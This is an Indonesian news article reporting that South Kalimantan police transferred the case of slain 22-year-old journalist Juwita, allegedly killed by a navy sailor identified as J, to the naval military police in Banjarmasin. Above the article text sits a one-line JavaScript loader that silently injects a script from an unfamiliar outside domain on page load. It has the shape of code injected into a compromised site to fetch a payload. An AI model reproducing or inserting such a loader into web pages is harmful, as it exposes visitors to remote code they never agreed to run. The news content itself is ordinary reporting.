(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Hukum

Polda Kalsel Serahkan Kasus Jurnalis Juwita ke Denpom Lanal Banjarmasin

KANALKALIMANTAN.COM, BANJARBARU – Kasus dugaan pembunuhan yang dialami jurnalis Juwita dilimpahkan dari Polda Kalimantan Selatan (Kalsel) ke Denpom (Detasemen Polisi Militer) Lanal Banjarmasin, Sabtu (29/3/2025) siang.

Jurnalis perempuan berusia 22 tahun itu diduga dihabisi dengan berencana oleh J, seorang anggota TNI Angkatan Laut yang bertugas di Lanal Balikpapan berpangkat Kelasi I.

Sejumlah teka-teki pertanyaan disampaikan oleh awak media usai penyidik Polda Kalsel melalukan gelar perkara di Mako Polda Kalsel.

Namun, semua pertanyaan tersebut masih enggan dijawab pihak Polda Kals dengan dalih penyidikan masih dilanjutkan oleh Denpom Lanal Banjarmasin.

“Kita baru saja melaksanakan gelar dan dilaksanakan penyerahan berkas dan barang bukti kepada Denpom Lanal Banjarmasin,” ujar Kabid Humas Polda Kalimantan Selatan Kombes Pol Adam Erwindi, saat memberikan keterangan kepada awak media.

“Kita sudah sepakat bahwa berkas sudah kita serahkan ke Denpom Lanal Banjarmasin bersama barang bukti, selanjutnya penyidikan akan dilakukan oleh Denpom Lanal Banjarmasin,” sambungnya.

Meski sudah memiliki berkas maupun barang bukti, baik Polda Kalsel maupun Lanal Balikpapan selaku pimpinan terduga pelaku pembunuhan juga menyerahkan sepenuhnya kepada penyidik di Denpom Lanal Banjarmasin.

“Motif masih dalam pendalaman, dan penetapan tersangka akan kita sampaikan lagi,” ungkap dia.

Hal senada juga disampaikan Komandan Denpom Lanal Balikpapan Mayor Laut (PM) Ronald Lodwjk Ganap, Sabtu (29/3/2025) siang.

“Baru kami limpahkan ke Denpom Lanal Banjarmasin, nanti seterusnya akan disidik, jadi dari penyelidikan naik ke tingkat penyidikan,” kata Ronald Lodwjk Ganap.

Sesuai dengan perintah pimpinan, terduga pelaku diinstruksikan untuk dihukum seberat-beratnya.

Sementara dari hasil pemeriksaan di Lanal Balikpapan, status Kelasi I J masih sebagai terduga pelaku. Terkait penetapan juga akan diungkap nanti oleh penyidik.

“Jadi mohon rekan-rekan wartawan bersabar, tidak lama lah, tidak lama pasti akan disampaikan penyidik,” jelas dia.

“Tidak ada yang disembunyikan, kita di Balikpapan mengumpulkan bukti karena pertama berdasarkan informasi awal kemudian coba kita gali setelah itu baru kita limpahkan ke Banjarmasin karena locus dan tempos berada di wilayah hukum Denpom Lanal Banjarmasin,” tuntasnya. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie